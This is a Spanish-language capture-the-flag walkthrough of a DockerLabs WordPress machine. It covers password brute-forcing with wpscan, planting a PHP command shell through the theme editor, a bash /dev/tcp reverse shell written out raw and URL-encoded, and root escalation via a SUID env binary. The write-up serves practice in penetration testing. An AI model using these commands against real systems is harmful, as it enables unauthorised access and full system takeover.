Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Al realizar el escaneo podemos observar que tenemos habilitado solo el puerto 80.
Si vamos a la web podemos ver que solo nos muestra la pagina de inicio del servidor apache.
Realizamos un escaneo de los directorios para la dirección web y podemos observar que tenemos el directorio de WordPress.
Si nos dirigimos al directorio /wordpress
podemos ver que una página.
Revisando la página no podemos encontrar información interesante, pero usando Wappalyzer vemos que se trata de un servicio WordPress como indica el nombre del directorio.
Escaneando el subdirectorio podemos observar 3, de los cuales el que mas nos interesa es el wp-admin
.
Probamos algunas credenciales generales, pero vemos que no tenemos resultado positivo.
Si buscamos en la página en la sección de archivos podemos ver el autor del documento el cual se llama mario
.
Probando ese usuario en el login de WordPress observamos que si existe.
Como ya tenemos el usuario procedemos a buscar el password, esto podemos buscar usando wpscan
de la siguiente manera.
wpscan --password-attack xmlrpc -t 20 -U mario -P /usr/share/wordlists/rockyou.txt --url http://172.17.0.2/wordpress
Después de un momento podemos ver que encontramos el password de mario
la cual es love
.
Probamos las credenciales en el login y tenemos acceso.
Revisando plugins y otros archivos de WordPress, vamos a apariencia, podemos ver que podemos modificar y agregar páginas, así que creamos una llamada test.php e ingresamos un shell simple.
Como podemos ver encima del código tenemos la ruta relativa y teniendo en cuenta que estamos en la sección de apariencia podemos recrear la ruta completa.
http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/test.php
Pero el solo ingresarla así no veremos nada.
Para poder obtener un resultado es agregarle el parámetro cmd
que creamos en el archivo y colocamos id para poder observar que obtuvimos una RCE de manera exitosa.
Si bien es posible ejecutar comando de esta manera, estableceremos una revshell para poder movernos de manera más práctica. Para ello lo que haremos es iniciar nuestro listener con nc
.
Ahora agregamos la revshell al URL para poder obtener acceso nuestro nc sería
bash -c \ "bash -i >& /dev/tcp/192.168.0.5/1234 0>&1\ "'
Pero no podemos enviarlo así, porque suele dar errores en muchas ocasiones por ello lo URL encodeamos y tendríamos de la siguiente manera.
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.5%2F1234%200%3E%261%22
Al enviarlo por el navegador podemos ver que ya tenemos acceso, el URL se vería así.
http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/test.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.5%2F1234%200%3E%261%22
Para mejorar el movimiento en la consola migramos la shell.
Primero, dentro de la shell ingresamos script /dev/null -c bash
.
Luego un ctrl+z, regresaremos a nuestra consola, seguida de ello ingresaremos los siguientes comandos para recuperar la shell usamos tty.
stty raw -echo; fg
reset xterm
Para obtener más características usamos, export TERM=xterm
.
Para la variable de entorno echo $SHELL
, para pasar a bash usamos export SHELL=/bin/bash
y para establecer el tamaño adecuado de la consola ingresamos stty rows 59 cols 236
.
Luego de ello ya podemos usar las flechas para movernos al comando anterior, así como usar abreviaciones como ctrl+l
, ctrl +c
.
Para poder escalar privilegios nos dirigimos al home, pero no podemos observar alguna carpeta de usuario.
Para corroborar esto buscamos en los archivos de /etc
y podemos observar que tampoco hay algún usuario y si filtramos por bash podemos observar que solo tenemos al root.
Ya que no tenemos credenciales no podemos emplear sudo -l
pero no olvidemos que otra manera de ver los binarios y permisos SUID que tenemos permitidos es usando el siguiente comando
find \-perm -4000 -user root 2>/dev/null
Luego de ejecutarlo podemos ver que tenemos el SUID
que en otros laboratorios usamos.
Si buscamos en GTFOBins https://gtfobins.github.io/gtfobins/env/#sudo podemos ver que existe la posibilidad de acceder a root usando este permiso.
Ingresamos el comando, pero no se ejecuta debido a que no se tiene la variable de entorno en el path así que colocamos la ruta específica así obteniendo el acceso como root y culminando la máquina.